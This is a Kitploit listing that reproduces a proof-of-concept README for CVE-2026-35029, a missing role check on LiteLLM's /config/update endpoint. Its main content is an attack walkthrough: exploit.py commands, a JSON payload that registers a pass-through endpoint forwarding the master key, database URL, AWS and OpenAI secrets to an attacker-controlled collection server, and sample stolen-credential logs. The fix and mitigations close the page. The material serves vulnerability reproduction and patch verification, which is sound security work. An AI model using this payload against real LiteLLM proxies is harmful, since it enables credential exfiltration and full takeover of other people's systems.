Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-35029-PoC — 用于个人复现相应漏洞的代码 | Kitploit
工具/GitHubGitHub/learner202649/cve-2026-35029-poc
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露渗透测试学习与教育实验室与实践
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

用于个人复现相应漏洞的代码

查看仓库
43个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-35029 — LiteLLM /config/update 越权访问漏洞 (Broken Access Control)

LiteLLM 的 /config/update 端点未检查调用者的角色权限。任何持有有效 API Key 的已认证用户(无需管理员权限)均可修改代理配置,注册恶意 Pass-Through 端点以实现 环境变量窃取、任意文件读取、远程代码执行等攻击。

FieldValue
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
AffectedLiteLLM < 1.83.0
Fixedv1.83.0+ (added proxy_admin role check on /config/update)
Published2026-04-06
Discovered byTimo Müller — SEC Consult Vulnerability Lab (Munich)
Found2026-02-24
LinksGHSA-53mr-6c8q-9789 • NVD • SEC Consult

Description

LiteLLM 的 /config/update 端点本应仅允许 proxy_admin 角色调用,但在 v1.83.0 之前 没有任何角色检查。任何持有有效 API Key 的用户均可调用此端点。

攻击向量

攻击类型描述
环境变量窃取注册 Pass-Through 端点,通过 os.environ/VAR_NAME 头引用窃取 DATABASE_URL、LITELLM_MASTER_KEY 等
任意文件读取利用 LANGFUSE_* 头的 Base64 编码特性,读取服务器文件系统
配置篡改覆盖 UI_USERNAME、UI_PASSWORD 劫持管理员账户
远程代码执行注册指向攻击者 Python 代码的 Pass-Through 端点处理器

影响

  • 低权限用户 → 完全管理员权限
  • 敏感环境变量泄露(数据库凭证、API 密钥、云服务凭据)
  • 任意文件读取(配置文件、证书、shadow 文件)
  • 可与其他漏洞(CVE-2026-35030)链式利用

Proof of Concept

Quick Start (Docker)

⚠️ Important: The docker-compose.yml pins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it to main-v1.81.0-stable or any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.

root@kitploit:~
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

注意:首次启动容器需等待约 30-60s(PostgreSQL 健康检查 + Prisma 数据库迁移),待容器日志中出现 Uvicorn running on http://0.0.0.0:4000 后再执行 exploit。

预期输出

环境变量窃取:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

修复版本拒绝访问(使用非管理员 Key 时返回 403):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

注意:若使用 Master Key(sk-litellm-master-key)测试固定版本,配置更新仍会返回 HTTP 200(Master Key 拥有 proxy_admin 角色),但 Pass-Through 端点注册可能不会生效或被静默忽略。建议使用非管理员 Key 验证修复。


Attack Chain Detail

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

Environment

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Fix

v1.83.0 在 /config/update 处理器中添加了 proxy_admin 角色检查:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

提交: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

缓解措施

  1. 立即升级 LiteLLM 到 v1.83.0+
  2. 限制 /config/update 端点的网络访问
  3. 审计所有 API Key 的使用情况,轮换可能泄露的凭据
  4. 监控异常的配置更新请求

References

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • SEC Consult Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • LiteLLM Pass-Through Endpoints Docs

Disclaimer: This content is provided for educational purposes and authorized security testing only.

下载工具